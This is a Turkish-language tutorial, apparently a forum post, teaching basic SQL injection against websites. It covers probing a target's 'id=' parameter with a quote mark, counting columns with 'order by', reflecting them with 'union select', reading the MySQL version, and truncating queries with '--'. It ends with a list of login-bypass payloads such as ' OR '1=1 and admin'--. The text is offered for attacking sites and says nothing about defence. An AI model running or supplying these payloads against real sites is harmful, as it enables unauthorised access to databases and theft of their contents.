Selamun Aleyküm Kardeşler ..
Bugün Sizlere Elimden Geldiği İlmimin Yettiği Kadarıyla Temel SQL’dan Bahsedeceğim , Hemen Başlayalım .
SQL Nedir ?
SQL (Structured Query Language) veritabanlarında database çekme,
silme vs.. gibi işlemler için kullanılan bir dildir.
Bugün hemen hemen tüm web uygulamalarının altyapısında
veritabanı desteği vardır ve bu web uygulamaları veritabanı
ile SQL aracılığıyla anlaşırlar.
SQL İnj. Giriş
Evet Arkadaşlar SQL Açığı Nerelerde Olur , SQL Açığı ’ID=’ Değerlerinden Sonra Olur . Biz Bir Sitede SQL Açığı Olup Olmadığını Anlamak İçin Sitenin Sonuna ’,’a Gibi İşaretler Koyarız Site Eğer Hata Verirse SQL Açığı Mevcuttur .
Örnek ’ İşareti Resmi ;

Örnek Hata Resmi ;

Kolon Sayısı Bulma ?
Bir Sitede Kolon Sayısını Bulmak İçin
’order+by’ Komutundan Yararlanırız . Örnek Vermek Gerekirse
Siteni Kolon Sayısı 5 Olsun Oda Şöyle Olur ;
http://www.hedefsite.com/index.php?sayfa=yazar&id=11+order+by+5
Örnek Video’yu Aşağıdaki Link’ten Online Olarak İzleyebilirsiniz .
onLİNE VİDEOYU İZLE .
Kolonları Ekrana Vurdurma ?
Kolonları Ekrana Vurdurmak İçin İse
union+select+1,2,3,4,5 Komutunu Kullanacağız . Neden 5 Kadar Yazdın Derseniz Kolon Sayımız 5’ti Hatırlarsak , Oda Şöyle Olur ;
http://www.hedefsite.com/index.php?sayfa=yazar&id=11+union+select+1,2,3,4,5
Örnek Resim ;

onLİNE VİDEOYU İZLE .
Version İsteme , İstememizdeki Amaç ?
Version MYSQL İnj’da Çekilir . Version İstememizdeki Amaç Sitenin Versiyonu’na Göre İzliceğimiz Yol Değişebilir .
Mesela Sitenin Versiyonu 4 ise Verileri Deneme-Yanılma-Sınama Yoluyla Açıcağız.
Ama Versiyonumuz 5 İse Direk Verileri Çekebiliriz .
Version Nasıl İsteriz ?
Version 2 Türlü İsteriz ;
version() ve
@@version
Şeklinde İsteyebiliriz. Ekrana Vuran Sayılarımız Kaçtı 3’tü Biri 3. Numaradan İstiyelim Örnek Vermek Gerekirse ;
http://www.hedefsite.com/index.php?sayfa=yazar&id=11+union+select+1,2,version(),4,5
http://www.hedefsite.com/index.php?sayfa=yazar&id=11+union+select+1,2,@@version(),4,5
onLİNE VİDEOYU İZLE .
Engel Aşma ve Login Bypass ?
Şimdi Bazen Girersin Kolon Sayılarını vs.. Ama Ekrana Birtürlü
Sayılar Yansımaz Bunu Nasıl Aşarız İşlemi Bitirerek. İşlemi Nasıl Bitiririz ;
-- İşareti İle Örnek Vermek Gerekirse ;
http://www.hedefsite.com/index.php?sayfa=yazar&id=11+union+select+1,2,3,4,5--
Login Bypass İse Database’deki İlk Kaydı Getirmeye Yarar Bazı Kodlar Vardır Bu Kodlar Şöyle
Özetlenebilir ;
’or’
’ OR ’1=1
admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
Ve Dahada Çoğaltılabilir Kardeşler ..
onLİNE VİDEOYU İZLE .
SQL Temel Eğitimin Sonuna Geldik Umarım Faydalı Olmuştur.
|
|
|